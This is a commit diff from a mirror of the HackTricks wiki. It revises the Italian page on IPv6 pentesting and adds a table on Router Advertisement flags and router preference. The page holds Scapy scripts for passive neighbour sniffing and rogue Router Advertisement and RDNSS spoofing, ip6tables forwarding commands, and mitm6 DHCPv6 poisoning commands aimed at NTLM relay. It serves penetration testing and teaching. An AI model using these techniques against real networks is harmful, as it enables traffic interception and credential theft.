mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
cbdcea249a
commit
924a1b97df
@ -19,8 +19,8 @@ Mentre l'IPv6 omette il protocollo ARP presente nell'IPv4, introduce **ICMPv6**
|
||||
|
||||
L'IPv6 incorpora anche tipi di indirizzi speciali:
|
||||
|
||||
- **Indirizzo di loopback (`::1`)**: Equivalente a `127.0.0.1` di IPv4, per la comunicazione interna all'interno dell'host.
|
||||
- **Indirizzi link-local (`FE80::/10`)**: Per attività di rete locali, non per il routing su Internet. I dispositivi sulla stessa rete locale possono scoprire l'uno l'altro utilizzando questo intervallo.
|
||||
- **Indirizzo di loopback (`::1`)**: Equivalente a `127.0.0.1` di IPv4, per la comunicazione interna all'host.
|
||||
- **Indirizzi link-local (`FE80::/10`)**: Per attività di rete locali, non per il routing su internet. I dispositivi sulla stessa rete locale possono scoprire l'uno l'altro utilizzando questo intervallo.
|
||||
|
||||
### Utilizzo pratico dell'IPv6 nei comandi di rete
|
||||
|
||||
@ -38,13 +38,13 @@ ip neigh | grep ^fe80
|
||||
# Alternatively, use alive6 for neighbor discovery
|
||||
alive6 eth0
|
||||
```
|
||||
Gli indirizzi IPv6 possono essere derivati dall'indirizzo MAC di un dispositivo per la comunicazione locale. Ecco una guida semplificata su come derivare l'indirizzo IPv6 Link-local da un indirizzo MAC noto e una breve panoramica dei tipi di indirizzi IPv6 e dei metodi per scoprire gli indirizzi IPv6 all'interno di una rete.
|
||||
IPv6 gli indirizzi possono essere derivati dall'indirizzo MAC di un dispositivo per la comunicazione locale. Ecco una guida semplificata su come derivare l'indirizzo IPv6 Link-local da un indirizzo MAC noto e una breve panoramica dei tipi di indirizzi IPv6 e dei metodi per scoprire gli indirizzi IPv6 all'interno di una rete.
|
||||
|
||||
### **Derivazione dell'IPv6 Link-local dall'indirizzo MAC**
|
||||
|
||||
Dato un indirizzo MAC **`12:34:56:78:9a:bc`**, puoi costruire l'indirizzo IPv6 Link-local come segue:
|
||||
|
||||
1. Converti il MAC nel formato IPv6: **`1234:5678:9abc`**
|
||||
1. Converti il MAC in formato IPv6: **`1234:5678:9abc`**
|
||||
2. Prependi `fe80::` e inserisci `fffe` nel mezzo: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Inverti il settimo bit da sinistra, cambiando `1234` in `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
@ -56,7 +56,7 @@ Dato un indirizzo MAC **`12:34:56:78:9a:bc`**, puoi costruire l'indirizzo IPv6 L
|
||||
|
||||
### **Prefissi degli indirizzi**
|
||||
|
||||
- **fe80::/10**: Indirizzi Link-Local (simile a 169.254.x.x)
|
||||
- **fe80::/10**: indirizzi Link-Local (simile a 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (simile a intervalli IPv4 privati come 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
@ -86,7 +86,7 @@ Esistono diverse tecniche per eseguire attacchi MitM nelle reti IPv6, come:
|
||||
- Attacco a IPv6 mobile (di solito richiede che IPSec sia disabilitato).
|
||||
- Configurazione di un server DHCPv6 malevolo.
|
||||
|
||||
## Identificazione degli indirizzi IPv6 nel campo
|
||||
## Identificazione degli Indirizzi IPv6 nel campo
|
||||
|
||||
### Esplorazione dei Sottodomini
|
||||
|
||||
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Sniffing passivo NDP & DHCPv6
|
||||
|
||||
Poiché ogni host IPv6 **si unisce automaticamente a più gruppi multicast** (`ff02::1`, `ff02::2`, …) e parla ICMPv6 per SLAAC/NDP, puoi mappare l'intero segmento senza inviare un singolo pacchetto. La seguente riga di codice Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:
|
||||
Poiché ogni host IPv6 **si unisce automaticamente a più gruppi multicast** (`ff02::1`, `ff02::2`, …) e utilizza ICMPv6 per SLAAC/NDP, puoi mappare l'intero segmento senza inviare un singolo pacchetto. Il seguente one-liner Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -195,11 +195,11 @@ argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)
|
||||
a = argp.parse_args()
|
||||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
Risultato: una **topologia link-local** completa (MAC ⇄ IPv6) in pochi secondi, senza attivare i sistemi IPS/IDS che si basano su scansioni attive.
|
||||
Risultato: una **topologia link-local** completa (MAC ⇄ IPv6) in pochi secondi, senza attivare sistemi IPS/IDS che si basano su scansioni attive.
|
||||
|
||||
### Spoofing delle Router Advertisement (RA)
|
||||
|
||||
Gli host IPv6 si basano sulle **Router Advertisements ICMPv6** per la scoperta del gateway predefinito. Se inietti RAs contraffatte **più frequentemente** del router legittimo, i dispositivi passeranno silenziosamente a te come gateway.
|
||||
Gli host IPv6 si affidano alle **Router Advertisements ICMPv6** per la scoperta del gateway predefinito. Se inietti RAs contraffatte **più frequentemente** del router legittimo, i dispositivi passeranno silenziosamente a te come gateway.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -227,9 +227,36 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
### RDNSS (DNS) Spoofing tramite RA
|
||||
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) consente di aggiungere un'opzione **Recursive DNS Server (RDNSS)** all'interno di un RA. I sistemi operativi moderni (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) si fidano automaticamente di esso:
|
||||
| Flag | Significato | Effetto sul Comportamento del Client |
|
||||
|------|-------------|--------------------------------------|
|
||||
| **M (Managed Address Configuration)** | Quando impostato su `1`, l'host DEVE utilizzare **DHCPv6** per ottenere il proprio indirizzo IPv6. | L'intero indirizzamento proviene da DHCPv6 – perfetto per il poisoning in stile *mitm6*. |
|
||||
| **O (Other Configuration)** | Quando impostato su `1`, l'host dovrebbe utilizzare **DHCPv6** solo per ottenere informazioni *altre* (DNS, NTP, …). | Indirizzo ancora tramite SLAAC, ma il DNS può essere dirottato con DHCPv6. |
|
||||
| **M=0 / O=0** | Rete puramente SLAAC. | Solo trucchi RA / RDNSS sono possibili – DHCPv6 non sarà inviato dai client. |
|
||||
| **M=1 / O=1** | Ambiente misto. | Sia DHCPv6 che SLAAC sono utilizzati; la superficie per lo spoofing è la più grande. |
|
||||
|
||||
Durante un pentest puoi semplicemente ispezionare il RA legittimo una volta e decidere quale vettore è fattibile:
|
||||
```bash
|
||||
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
|
||||
```
|
||||
Cerca il campo `flags [M,O]` nel dump – non è necessaria alcuna supposizione.
|
||||
|
||||
Il campo **Prf** (Router Preference) all'interno dell'intestazione RA controlla quanto è attraente il tuo router rogue quando sono presenti *più* gateway:
|
||||
|
||||
| Valore Prf | Binario | Significato |
|
||||
|------------|---------|-------------|
|
||||
| **Alto** | `10` | I client preferiscono questo router rispetto a qualsiasi router *Medio*/*Basso* |
|
||||
| Medio (predefinito) | `01` | Utilizzato da quasi tutti i dispositivi legittimi |
|
||||
| Basso | `00` | Scelto solo quando non esiste un router migliore |
|
||||
|
||||
Quando generi il pacchetto con Scapy puoi impostarlo tramite il parametro `prf` come mostrato sopra (`prf=0x1` → Alto). Combinare **Alto Prf**, un **breve intervallo** e una **durata non zero** rende il tuo gateway rogue notevolmente stabile.
|
||||
|
||||
---
|
||||
|
||||
### Spoofing RDNSS (DNS) tramite RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) consente di aggiungere un'opzione **Recursive DNS Server (RDNSS)** all'interno di un RA. I moderni sistemi operativi (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) si fidano automaticamente di esso:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -255,8 +282,8 @@ I clienti **prependono** il tuo DNS alla loro lista di resolver per la durata da
|
||||
|
||||
Invece di SLAAC, le reti Windows spesso dipendono da **DHCPv6 senza stato** per il DNS. [mitm6](https://github.com/rofl0r/mitm6) risponde automaticamente ai messaggi `Solicit` con un flusso **Advertise → Reply** che assegna **il tuo indirizzo link-local come DNS per 300 secondi**. Questo sblocca:
|
||||
|
||||
* attacchi di relay NTLM (WPAD + hijacking DNS)
|
||||
* intercettazione della risoluzione dei nomi interni senza toccare i router
|
||||
* Attacchi di relay NTLM (WPAD + hijacking DNS)
|
||||
* Intercettazione della risoluzione dei nomi interni senza toccare i router
|
||||
|
||||
Utilizzo tipico:
|
||||
```bash
|
||||
@ -276,5 +303,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user